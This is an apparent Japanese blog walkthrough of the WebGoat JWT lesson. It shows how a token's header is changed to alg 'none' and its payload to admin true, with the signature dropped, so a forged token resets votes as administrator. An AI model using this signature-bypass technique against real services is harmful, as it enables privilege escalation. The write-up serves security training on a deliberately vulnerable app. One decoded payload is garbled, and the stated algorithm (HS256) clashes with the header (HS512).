Hello there, ('ω')ノ
WebGOATのJWT tokens④を選択して。
重要なステップの1つとしてアクションを実行する前に署名を検証することで。
トークンを変更して管理者になるようにだとか。
管理者になったら投票をリセットしてと。
動作を確認してみるとguest以外の3ユーザが、投票可で。
ゴミ箱を押すと、リセットは管理者のみとのメッセージが。
Burp Suiteでリクエスト内容を見てみると以下のようなメッセージが。
Cookie:
access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1OTU3NDIyOTksImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.prPqzn7Lu2eP7jK4NG7F-eSHcsS6-1t6TQ-EzUNQ0jEiGBMWvILENmBBxSoBHd1cGrr6LNPz-aBOmgiNU7EVOw;
JSESSIONID=399EDEBD9EEFC7AA488016A93C77DC52
JWTは、ヘッダ、ペイロード、署名が『.』で結合されていて。
さらには、Base64でエンコードされていて。
なので、下記のように分解して。
access_token=
eyJhbGciOiJIUzUxMiJ9
eyJpYXQiOjE1OTU3NDIyOTksImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0
prPqzn7Lu2eP7jK4NG7F-eSHcsS6-1t6TQ-EzUNQ0jEiGBMWvILENmBBxSoBHd1cGrr6LNPz-aBOmgiNU7EVOw
ヘッダとペイロードをデコードしてみると下記のような結果に。
{"alg":"HS512"}
{"iat":1595742299,"admin":"false","user":"TomIn0
電子署名のアルゴリズムがHS256で指定されているので、これを署名なしにして。
ペイロードの内容を下記のように整形して。
{"alg":"none"}
{"iat":1595742299,"admin":"true","user":"Tom"}
もう一度、ヘッダとペイロードをエンコードしてもとにもどして。
eyJhbGciOiJub25lIn0=
eyJpYXQiOjE1OTU3NDIyOTksImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ==
下記のようにJWTトークンの内容を署名なしで書き換えて実行すると。
access_token=
eyJhbGciOiJub25lIn0=.eyJpYXQiOjE1OTU3NDIyOTksImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ==;
投票がリセットできた。